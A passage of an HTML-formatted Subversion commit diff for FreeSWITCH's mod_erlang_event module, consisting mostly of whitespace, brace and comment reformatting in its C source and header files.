-                listener-&gt;peer_nodename = switch_core_strdup(listener-&gt;pool,node);
</del><ins>+                listener = new_listener(&amp;ec, clientfd);
+                listener-&gt;peer_nodename = switch_core_strdup(listener-&gt;pool, node);
</ins><span class="cx">         }
</span><span class="cx">         return listener;
</span><span class="cx"> }
</span><span class="lines">@@ -1122,8 +1130,8 @@
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_channel_state_t state = switch_channel_get_state(channel);
</span><span class="cx">         session_elem_t *session_element = switch_channel_get_private(channel, &quot;_erlang_session_&quot;);
</span><del>-        /*listener_t* listener = switch_channel_get_private(channel, &quot;_erlang_listener_&quot;);*/
-        
</del><ins>+        /*listener_t* listener = switch_channel_get_private(channel, &quot;_erlang_listener_&quot;); */
+
</ins><span class="cx">         if (session_element) {
</span><span class="cx">                 session_element-&gt;channel_state = state;
</span><span class="cx">                 if (state == CS_DESTROY) {
</span><span class="lines">@@ -1132,17 +1140,18 @@
</span><span class="cx">                         switch_set_flag(session_element, LFLAG_SESSION_COMPLETE);
</span><span class="cx">                 }
</span><span class="cx">         } else {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;unable to update channel state for %s to %s\n&quot;, switch_core_session_get_uuid(session), switch_channel_state_name(state));
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;unable to update channel state for %s to %s\n&quot;, switch_core_session_get_uuid(session),
+                                                  switch_channel_state_name(state));
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-session_elem_t *session_elem_create(listener_t* listener, switch_core_session_t *session) 
</del><ins>+session_elem_t *session_elem_create(listener_t *listener, switch_core_session_t *session)
</ins><span class="cx"> {
</span><span class="cx">         /* create a session list element */
</span><span class="cx">         switch_memory_pool_t *session_elem_pool;
</span><del>-        session_elem_t* session_element;/* = malloc(sizeof(*session_element));*/
</del><ins>+        session_elem_t *session_element;        /* = malloc(sizeof(*session_element)); */
</ins><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx"> 
</span><span class="cx">         if (switch_core_new_memory_pool(&amp;session_elem_pool) != SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -1157,51 +1166,51 @@
</span><span class="cx">         memcpy(session_element-&gt;uuid_str, switch_core_session_get_uuid(session), SWITCH_UUID_FORMATTED_LENGTH);
</span><span class="cx">         session_element-&gt;pool = session_elem_pool;
</span><span class="cx">         session_elem_pool = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_queue_create(&amp;session_element-&gt;event_queue, SWITCH_CORE_QUEUE_LEN, session_element-&gt;pool);
</span><span class="cx">         switch_mutex_init(&amp;session_element-&gt;flag_mutex, SWITCH_MUTEX_NESTED, session_element-&gt;pool);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_channel_set_private(channel, &quot;_erlang_session_&quot;, session_element);
</span><span class="cx">         switch_channel_set_private(channel, &quot;_erlang_listener_&quot;, listener);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_event_hook_add_state_change(session, state_handler);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return session_element;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-session_elem_t* attach_call_to_registered_process(listener_t* listener, char* reg_name, switch_core_session_t *session)
</del><ins>+session_elem_t *attach_call_to_registered_process(listener_t *listener, char *reg_name, switch_core_session_t *session)
</ins><span class="cx"> {
</span><span class="cx">         /* create a session list element */
</span><del>-        session_elem_t* session_element = session_elem_create(listener, session);
</del><ins>+        session_elem_t *session_element = session_elem_create(listener, session);
</ins><span class="cx"> 
</span><del>-    session_element-&gt;process.type = ERLANG_REG_PROCESS;
-    session_element-&gt;process.reg_name = switch_core_session_strdup(session, reg_name);
-    switch_set_flag(session_element, LFLAG_SESSION_ALIVE);
-    /* attach the session to the listener */
-    add_session_elem_to_listener(listener,session_element);
</del><ins>+        session_element-&gt;process.type = ERLANG_REG_PROCESS;
+        session_element-&gt;process.reg_name = switch_core_session_strdup(session, reg_name);
+        switch_set_flag(session_element, LFLAG_SESSION_ALIVE);
+        /* attach the session to the listener */
+        add_session_elem_to_listener(listener, session_element);
</ins><span class="cx"> 
</span><span class="cx">         return session_element;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-session_elem_t* attach_call_to_pid(listener_t* listener, erlang_pid* pid, switch_core_session_t *session)
</del><ins>+session_elem_t *attach_call_to_pid(listener_t *listener, erlang_pid * pid, switch_core_session_t *session)
</ins><span class="cx"> {
</span><span class="cx">         /* create a session list element */
</span><del>-        session_elem_t* session_element = session_elem_create(listener, session);
</del><ins>+        session_elem_t *session_element = session_elem_create(listener, session);
</ins><span class="cx"> 
</span><span class="cx">         session_element-&gt;process.type = ERLANG_PID;
</span><span class="cx">         memcpy(&amp;session_element-&gt;process.pid, pid, sizeof(erlang_pid));
</span><span class="cx">         switch_set_flag(session_element, LFLAG_SESSION_ALIVE);
</span><span class="cx">         /* attach the session to the listener */
</span><del>-        add_session_elem_to_listener(listener,session_element);
</del><ins>+        add_session_elem_to_listener(listener, session_element);
</ins><span class="cx">         ei_link(listener, ei_self(listener-&gt;ec), pid);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return session_element;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-session_elem_t* attach_call_to_spawned_process(listener_t* listener, char *module, char *function, switch_core_session_t *session)
</del><ins>+session_elem_t *attach_call_to_spawned_process(listener_t *listener, char *module, char *function, switch_core_session_t *session)
</ins><span class="cx"> {
</span><span class="cx">         /* create a session list element */
</span><del>-        session_elem_t* session_element = session_elem_create(listener, session);
</del><ins>+        session_elem_t *session_element = session_elem_create(listener, session);
</ins><span class="cx">         char hash[100];
</span><span class="cx">         int i = 0;
</span><span class="cx">         void *p = NULL;
</span><span class="lines">@@ -1209,9 +1218,9 @@
</span><span class="cx">         erlang_ref ref;
</span><span class="cx"> 
</span><span class="cx">         switch_set_flag(session_element, LFLAG_WAITING_FOR_PID);
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* attach the session to the listener */
</span><del>-        add_session_elem_to_listener(listener,session_element);
</del><ins>+        add_session_elem_to_listener(listener, session_element);
</ins><span class="cx"> 
</span><span class="cx">         ei_init_ref(listener-&gt;ec, &amp;ref);
</span><span class="cx">         ei_hash_ref(&amp;ref, hash);
</span><span class="lines">@@ -1254,20 +1263,20 @@
</span><span class="cx">                 /*
</span><span class="cx">                    char *argv[1];
</span><span class="cx">                    ei_spawn(listener-&gt;ec, listener-&gt;sockfd, &amp;ref, module, function, 0, argv);
</span><del>-                   */
</del><ins>+                 */
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         /* loop until either we timeout or we get a value that's not the waiting marker */
</span><span class="cx">         while (!(p = switch_core_hash_find(listener-&gt;spawn_pid_hash, hash)) || p == &amp;globals.WAITING) {
</span><del>-                if (i &gt; 50) { /* half a second timeout */
</del><ins>+                if (i &gt; 50) {                        /* half a second timeout */
</ins><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Timed out when waiting for outbound pid\n&quot;);
</span><del>-                        remove_session_elem_from_listener_locked(listener,session_element);
-                        switch_core_hash_insert(listener-&gt;spawn_pid_hash, hash, &amp;globals.TIMEOUT); /* TODO lock this? */
</del><ins>+                        remove_session_elem_from_listener_locked(listener, session_element);
+                        switch_core_hash_insert(listener-&gt;spawn_pid_hash, hash, &amp;globals.TIMEOUT);        /* TODO lock this? */
</ins><span class="cx">                         destroy_session_elem(session_element);
</span><span class="cx">                         return NULL;
</span><span class="cx">                 }
</span><span class="cx">                 i++;
</span><del>-                switch_yield(10000); /* 10ms */
</del><ins>+                switch_yield(10000);        /* 10ms */
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         switch_core_hash_delete(listener-&gt;spawn_pid_hash, hash);
</span><span class="lines">@@ -1277,26 +1286,27 @@
</span><span class="cx"> 
</span><span class="cx">         session_element-&gt;process.type = ERLANG_PID;
</span><span class="cx">         memcpy(&amp;session_element-&gt;process.pid, pid, sizeof(erlang_pid));
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_set_flag(session_element, LFLAG_SESSION_ALIVE);
</span><span class="cx">         switch_clear_flag(session_element, LFLAG_OUTBOUND_INIT);
</span><span class="cx">         switch_clear_flag(session_element, LFLAG_WAITING_FOR_PID);
</span><span class="cx"> 
</span><span class="cx">         ei_link(listener, ei_self(listener-&gt;ec), pid);
</span><del>-        switch_safe_free(pid); /* malloced in handle_ref_tuple */
</del><ins>+        switch_safe_free(pid);                /* malloced in handle_ref_tuple */
</ins><span class="cx"> 
</span><span class="cx">         return session_element;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-int count_listener_sessions(listener_t *listener) {
-        session_elem_t *last,*sp;
</del><ins>+int count_listener_sessions(listener_t *listener)
+{
+        session_elem_t *last, *sp;
</ins><span class="cx">         int count = 0;
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(listener-&gt;session_mutex);
</span><span class="cx">         sp = listener-&gt;session_list;
</span><span class="cx">         last = NULL;
</span><del>-        while(sp) {
</del><ins>+        while (sp) {
</ins><span class="cx">                 count++;
</span><span class="cx">                 last = sp;
</span><span class="cx">                 sp = sp-&gt;next;
</span><span class="lines">@@ -1315,18 +1325,19 @@
</span><span class="cx"> {
</span><span class="cx">         char *reg_name = NULL, *node, *module = NULL, *function = NULL;
</span><span class="cx">         listener_t *listener;
</span><del>-        int argc = 0, argc2=0;
-        char *argv[80] = { 0 }, *argv2[80] = { 0 };
</del><ins>+        int argc = 0, argc2 = 0;
+        char *argv[80] = { 0 }, *argv2[80] = {
+        0};
</ins><span class="cx">         char *mydata, *myarg;
</span><del>-        char uuid[SWITCH_UUID_FORMATTED_LENGTH+1];
</del><ins>+        char uuid[SWITCH_UUID_FORMATTED_LENGTH + 1];
</ins><span class="cx">         switch_bool_t new_session = SWITCH_FALSE;
</span><del>-        session_elem_t* session_element=NULL;
</del><ins>+        session_elem_t *session_element = NULL;
</ins><span class="cx"> 
</span><span class="cx">         /* process app arguments */
</span><span class="cx">         if (data &amp;&amp; (mydata = switch_core_session_strdup(session, data))) {
</span><span class="cx">                 argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
</span><del>-        } /* XXX else? */
-
</del><ins>+        }
+        /* XXX else? */
</ins><span class="cx">         memcpy(uuid, switch_core_session_get_uuid(session), SWITCH_UUID_FORMATTED_LENGTH);
</span><span class="cx"> 
</span><span class="cx">         if (argc &lt; 2) {
</span><span class="lines">@@ -1358,7 +1369,7 @@
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;enter erlang_outbound_function %s %s\n&quot;,argv[0], node);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;enter erlang_outbound_function %s %s\n&quot;, argv[0], node);
</ins><span class="cx"> 
</span><span class="cx">         /* first work out if there is a listener already talking to the node we want to talk to */
</span><span class="cx">         listener = find_listener(node);
</span><span class="lines">@@ -1367,8 +1378,7 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Creating new listener for session\n&quot;);
</span><span class="cx">                 new_session = SWITCH_TRUE;
</span><span class="cx">                 listener = new_outbound_listener(node);
</span><del>-        }
-        else {
</del><ins>+        } else {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Using existing listener for session\n&quot;);
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -1381,10 +1391,10 @@
</span><span class="cx">                 if (module &amp;&amp; function) {
</span><span class="cx">                         switch_core_hash_init(&amp;listener-&gt;spawn_pid_hash, listener-&gt;pool);
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Creating new spawned session for listener\n&quot;);
</span><del>-                        session_element=attach_call_to_spawned_process(listener, module, function, session);
</del><ins>+                        session_element = attach_call_to_spawned_process(listener, module, function, session);
</ins><span class="cx">                 } else {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Creating new registered session for listener\n&quot;);
</span><del>-                        session_element=attach_call_to_registered_process(listener, reg_name, session);
</del><ins>+                        session_element = attach_call_to_registered_process(listener, reg_name, session);
</ins><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 if (session_element) {
</span><span class="lines">@@ -1421,8 +1431,8 @@
</span><span class="cx">         /* process app arguments */
</span><span class="cx">         if (data &amp;&amp; (mydata = switch_core_session_strdup(session, data))) {
</span><span class="cx">                 argc = switch_separate_string(mydata, ' ', argv, 3);
</span><del>-        } /* XXX else? */
-
</del><ins>+        }
+        /* XXX else? */
</ins><span class="cx">         if (argc &lt; 3) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Parse Error - need node, registered name and message!\n&quot;);
</span><span class="cx">                 return;
</span><span class="lines">@@ -1431,7 +1441,7 @@
</span><span class="cx">         reg_name = argv[0];
</span><span class="cx">         node = argv[1];
</span><span class="cx"> 
</span><del>-        /*switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;sendmsg: {%s, %s} ! %s\n&quot;, reg_name, node, argv[2]);*/
</del><ins>+        /*switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;sendmsg: {%s, %s} ! %s\n&quot;, reg_name, node, argv[2]); */
</ins><span class="cx"> 
</span><span class="cx">         ei_x_encode_tuple_header(&amp;buf, 2);
</span><span class="cx">         ei_x_encode_atom(&amp;buf, &quot;freeswitch_sendmsg&quot;);
</span><span class="lines">@@ -1461,9 +1471,7 @@
</span><span class="cx"> 
</span><span class="cx">         const char *usage_string = &quot;USAGE:\n&quot;
</span><span class="cx">                 &quot;--------------------------------------------------------------------------------\n&quot;
</span><del>-                &quot;erlang listeners\n&quot;
-                &quot;erlang sessions &lt;node_name&gt;\n&quot;
-                &quot;--------------------------------------------------------------------------------\n&quot;;
</del><ins>+                &quot;erlang listeners\n&quot; &quot;erlang sessions &lt;node_name&gt;\n&quot; &quot;--------------------------------------------------------------------------------\n&quot;;
</ins><span class="cx"> 
</span><span class="cx">         if (zstr(cmd)) {
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;%s&quot;, usage_string);
</span><span class="lines">@@ -1507,8 +1515,9 @@
</span><span class="cx">                                 found = 1;
</span><span class="cx">                                 switch_mutex_lock(l-&gt;session_mutex);
</span><span class="cx">                                 if ((sp = l-&gt;session_list)) {
</span><del>-                                        while(sp) {
-                                                stream-&gt;write_function(stream, &quot;Outbound session for %s in state %s\n&quot;, sp-&gt;uuid_str, switch_channel_state_name(sp-&gt;channel_state));
</del><ins>+                                        while (sp) {
+                                                stream-&gt;write_function(stream, &quot;Outbound session for %s in state %s\n&quot;, sp-&gt;uuid_str,
+                                                                                           switch_channel_state_name(sp-&gt;channel_state));
</ins><span class="cx">                                                 sp = sp-&gt;next;
</span><span class="cx">                                         }
</span><span class="cx">                                 } else {
</span><span class="lines">@@ -1528,7 +1537,7 @@
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-done:
</del><ins>+  done:
</ins><span class="cx">         switch_safe_free(mycmd);
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="lines">@@ -1538,11 +1547,11 @@
</span><span class="cx"> {
</span><span class="cx">         switch_application_interface_t *app_interface;
</span><span class="cx">         switch_api_interface_t *api_interface;
</span><del>-        
</del><ins>+
</ins><span class="cx">         memset(&amp;prefs, 0, sizeof(prefs));
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_init(&amp;globals.listener_mutex, SWITCH_MUTEX_NESTED, pool);
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* intialize the unique reference stuff */
</span><span class="cx">         switch_mutex_init(&amp;globals.ref_mutex, SWITCH_MUTEX_NESTED, pool);
</span><span class="cx">         globals.reference0 = 0;
</span><span class="lines">@@ -1570,8 +1579,10 @@
</span><span class="cx">         /* connect my internal structure to the blank pointer passed to me */
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx"> 
</span><del>-        SWITCH_ADD_APP(app_interface, &quot;erlang&quot;, &quot;Yield call control to an erlang process&quot;, &quot;Connect to erlang&quot;, erlang_outbound_function, &quot;&lt;registered name&gt; &lt;node@host&gt;&quot;, SAF_SUPPORT_NOMEDIA);
-        SWITCH_ADD_APP(app_interface, &quot;erlang_sendmsg&quot;, &quot;Send a message to an erlang process&quot;, &quot;Connect to erlang&quot;, erlang_sendmsg_function, &quot;&lt;registered name&gt; &lt;node@host&gt; &lt;message&gt;&quot;, SAF_SUPPORT_NOMEDIA);
</del><ins>+        SWITCH_ADD_APP(app_interface, &quot;erlang&quot;, &quot;Yield call control to an erlang process&quot;, &quot;Connect to erlang&quot;, erlang_outbound_function,
+                                   &quot;&lt;registered name&gt; &lt;node@host&gt;&quot;, SAF_SUPPORT_NOMEDIA);
+        SWITCH_ADD_APP(app_interface, &quot;erlang_sendmsg&quot;, &quot;Send a message to an erlang process&quot;, &quot;Connect to erlang&quot;, erlang_sendmsg_function,
+                                   &quot;&lt;registered name&gt; &lt;node@host&gt; &lt;message&gt;&quot;, SAF_SUPPORT_NOMEDIA);
</ins><span class="cx">         SWITCH_ADD_API(api_interface, &quot;erlang&quot;, &quot;erlang information&quot;, erlang_cmd, &quot;&lt;command&gt; [&lt;args&gt;]&quot;);
</span><span class="cx">         switch_console_set_complete(&quot;add erlang listeners&quot;);
</span><span class="cx"> 
</span><span class="lines">@@ -1598,7 +1609,7 @@
</span><span class="cx">         WSADATA wsaData;
</span><span class="cx"> 
</span><span class="cx">         wVersionRequested = MAKEWORD(2, 2);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (WSAStartup(wVersionRequested, &amp;wsaData) != 0) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Winsock initialization failed, oh well\n&quot;);
</span><span class="cx">                 return SWITCH_STATUS_TERM;
</span><span class="lines">@@ -1644,21 +1655,21 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Failed to allocate socket on %s:%u\n&quot;, prefs.ip, prefs.port);
</span><span class="cx">                         goto sock_fail;
</span><span class="cx">                 }
</span><del>-
</del><span class="cx"> #ifdef WIN32
</span><del>-                if (setsockopt(listen_list.sockfd, SOL_SOCKET, SO_REUSEADDR, (const char *)&amp;on, sizeof(on))) {
</del><ins>+                if (setsockopt(listen_list.sockfd, SOL_SOCKET, SO_REUSEADDR, (const char *) &amp;on, sizeof(on))) {
</ins><span class="cx"> #else
</span><span class="cx">                 if (setsockopt(listen_list.sockfd, SOL_SOCKET, SO_REUSEADDR, &amp;on, sizeof(on))) {
</span><span class="cx"> #endif
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Failed to enable SO_REUSEADDR for socket on %s:%u : %s\n&quot;, prefs.ip, prefs.port, strerror(errno));
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Failed to enable SO_REUSEADDR for socket on %s:%u : %s\n&quot;, prefs.ip, prefs.port,
+                                                          strerror(errno));
</ins><span class="cx">                         goto sock_fail;
</span><span class="cx">                 }
</span><del>-                
-                if (bind(listen_list.sockfd, (struct sockaddr *)&amp;server_addr, sizeof(server_addr)) &lt; 0) {
</del><ins>+
+                if (bind(listen_list.sockfd, (struct sockaddr *) &amp;server_addr, sizeof(server_addr)) &lt; 0) {
</ins><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Failed to bind to %s:%u\n&quot;, prefs.ip, prefs.port);
</span><span class="cx">                         goto sock_fail;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (listen(listen_list.sockfd, 5) &lt; 0) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Failed to listen on %s:%u\n&quot;, prefs.ip, prefs.port);
</span><span class="cx">                         goto sock_fail;
</span><span class="lines">@@ -1675,7 +1686,7 @@
</span><span class="cx">                 ei_set_compat_rel(prefs.compat_rel);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (SWITCH_STATUS_SUCCESS!=initialise_ei(&amp;ec)) {
</del><ins>+        if (SWITCH_STATUS_SUCCESS != initialise_ei(&amp;ec)) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Failed to init ei connection\n&quot;);
</span><span class="cx">                 goto init_failed;
</span><span class="cx">         }
</span><span class="lines">@@ -1684,7 +1695,8 @@
</span><span class="cx">         if ((epmdfd = ei_publish(&amp;ec, prefs.port)) == -1) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Failed to publish port to empd, trying to start empd via system()\n&quot;);
</span><span class="cx">                 if (system(&quot;epmd -daemon&quot;)) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Failed to start empd manually! Is epmd in $PATH? If not, start it yourself or run an erl shell with -sname or -name\n&quot;);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
+                                                          &quot;Failed to start empd manually! Is epmd in $PATH? If not, start it yourself or run an erl shell with -sname or -name\n&quot;);
</ins><span class="cx">                         goto init_failed;
</span><span class="cx">                 }
</span><span class="cx">                 switch_yield(100000);
</span><span class="lines">@@ -1707,7 +1719,7 @@
</span><span class="cx"> #else
</span><span class="cx">                 errno = 0;
</span><span class="cx"> #endif
</span><del>-                if ((clientfd = ei_accept_tmo(&amp;ec, (int)listen_list.sockfd, &amp;conn, 100)) == ERL_ERROR) {
</del><ins>+                if ((clientfd = ei_accept_tmo(&amp;ec, (int) listen_list.sockfd, &amp;conn, 100)) == ERL_ERROR) {
</ins><span class="cx">                         if (prefs.done) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;Shutting Down\n&quot;);
</span><span class="cx">                         } else if (erl_errno == ETIMEDOUT) {
</span><span class="lines">@@ -1722,22 +1734,22 @@
</span><span class="cx">                         } else {
</span><span class="cx">                                 /* if errno didn't get set, assume nothing *too* horrible occured */
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE,
</span><del>-                                                &quot;Ignorable error in ei_accept - probable bad client version, bad cookie or bad nodename\n&quot;);
</del><ins>+                                                                  &quot;Ignorable error in ei_accept - probable bad client version, bad cookie or bad nodename\n&quot;);
</ins><span class="cx">                                 continue;
</span><span class="cx">                         }
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                listener = new_listener(&amp;ec,clientfd);
</del><ins>+                listener = new_listener(&amp;ec, clientfd);
</ins><span class="cx">                 if (listener) {
</span><span class="cx">                         /* store the IP and node name we are talking with */
</span><span class="cx">                         switch_inet_ntop(AF_INET, conn.ipadr, listener-&gt;remote_ip, sizeof(listener-&gt;remote_ip));
</span><del>-                        listener-&gt;peer_nodename = switch_core_strdup(listener-&gt;pool,conn.nodename);
</del><ins>+                        listener-&gt;peer_nodename = switch_core_strdup(listener-&gt;pool, conn.nodename);
</ins><span class="cx"> 
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Launching listener, connection from node %s, ip %s\n&quot;, conn.nodename, listener-&gt;remote_ip);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Launching listener, connection from node %s, ip %s\n&quot;, conn.nodename,
+                                                          listener-&gt;remote_ip);
</ins><span class="cx">                         launch_listener_thread(listener);
</span><del>-                }
-                else
</del><ins>+                } else
</ins><span class="cx">                         /* if we fail to create a listener (memory error), then the module will exit */
</span><span class="cx">                         break;
</span><span class="cx">         }
</span><span class="lines">@@ -1748,7 +1760,7 @@
</span><span class="cx">         ei_unpublish(&amp;ec);
</span><span class="cx">         close_socket(&amp;epmdfd);
</span><span class="cx"> 
</span><del>-init_failed:
</del><ins>+  init_failed:
</ins><span class="cx">         close_socket(&amp;listen_list.sockfd);
</span><span class="cx">         if (pool) {
</span><span class="cx">                 switch_core_destroy_memory_pool(&amp;pool);
</span><span class="lines">@@ -1770,13 +1782,13 @@
</span><span class="cx">         listener_t *l;
</span><span class="cx">         int sanity = 0;
</span><span class="cx"> 
</span><del>-        if (prefs.done == 0) /* main thread might already have exited */
</del><ins>+        if (prefs.done == 0)                /* main thread might already have exited */
</ins><span class="cx">                 prefs.done = 1;
</span><span class="cx"> 
</span><span class="cx">         switch_log_unbind_logger(socket_logger);
</span><span class="cx"> 
</span><del>-        /*close_socket(&amp;listen_list.sockfd);*/
-        
</del><ins>+        /*close_socket(&amp;listen_list.sockfd); */
+
</ins><span class="cx">         while (prefs.threads || prefs.done == 1) {
</span><span class="cx">                 switch_yield(10000);
</span><span class="cx">                 if (++sanity == 1000) {
</span><span class="lines">@@ -1799,7 +1811,7 @@
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_unlock(globals.listener_mutex);
</span><span class="cx"> 
</span><del>-        switch_sleep(1500000); /* sleep for 1.5 seconds */
</del><ins>+        switch_sleep(1500000);                /* sleep for 1.5 seconds */
</ins><span class="cx"> 
</span><span class="cx">         switch_safe_free(prefs.ip);
</span><span class="cx">         switch_safe_free(prefs.cookie);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodevent_handlersmod_erlang_eventmod_erlang_eventh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/mod_erlang_event.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/mod_erlang_event.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/mod_erlang_event.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -33,8 +33,8 @@
</span><span class="cx">  */
</span><span class="cx"> 
</span><span class="cx"> typedef enum {
</span><del>-        LFLAG_WAITING_FOR_PID = (1 &lt;&lt; 0), /* waiting for a node to return a pid */
-        LFLAG_OUTBOUND_INIT = (1 &lt;&lt; 1), /* Erlang peer has been notified of this session */
</del><ins>+        LFLAG_WAITING_FOR_PID = (1 &lt;&lt; 0),        /* waiting for a node to return a pid */
+        LFLAG_OUTBOUND_INIT = (1 &lt;&lt; 1),        /* Erlang peer has been notified of this session */
</ins><span class="cx">         LFLAG_SESSION_ALIVE = (1 &lt;&lt; 2),
</span><span class="cx">         LFLAG_SESSION_COMPLETE = (1 &lt;&lt; 3),
</span><span class="cx"> } session_flag_t;
</span><span class="lines">@@ -114,7 +114,7 @@
</span><span class="cx">         uint32_t timeout;
</span><span class="cx">         uint32_t id;
</span><span class="cx">         char remote_ip[50];
</span><del>-        /*switch_port_t remote_port;*/
</del><ins>+        /*switch_port_t remote_port; */
</ins><span class="cx">         struct listener *next;
</span><span class="cx"> };
</span><span class="cx"> 
</span><span class="lines">@@ -143,8 +143,8 @@
</span><span class="cx">         unsigned int reference0;
</span><span class="cx">         unsigned int reference1;
</span><span class="cx">         unsigned int reference2;
</span><del>-        char TIMEOUT; /* marker for a timed out request */
-        char WAITING; /* marker for a request waiting for a response */
</del><ins>+        char TIMEOUT;                                /* marker for a timed out request */
+        char WAITING;                                /* marker for a request waiting for a response */
</ins><span class="cx">         switch_mutex_t *ref_mutex;
</span><span class="cx"> };
</span><span class="cx"> typedef struct globals_struct globals_t;
</span><span class="lines">@@ -200,20 +200,20 @@
</span><span class="cx"> 
</span><span class="cx"> /* function prototypes */
</span><span class="cx"> /* handle_msg.c */
</span><del>-int handle_msg(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf);
</del><ins>+int handle_msg(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf);
</ins><span class="cx"> 
</span><span class="cx"> /* ei_helpers.c */
</span><del>-void ei_link(listener_t *listener, erlang_pid *from, erlang_pid *to);
-void ei_encode_switch_event_headers(ei_x_buff *ebuf, switch_event_t *event);
-void ei_encode_switch_event_tag(ei_x_buff *ebuf, switch_event_t *event, char *tag);
-int ei_pid_from_rpc(struct ei_cnode_s *ec, int sockfd, erlang_ref *ref, char *module, char *function);
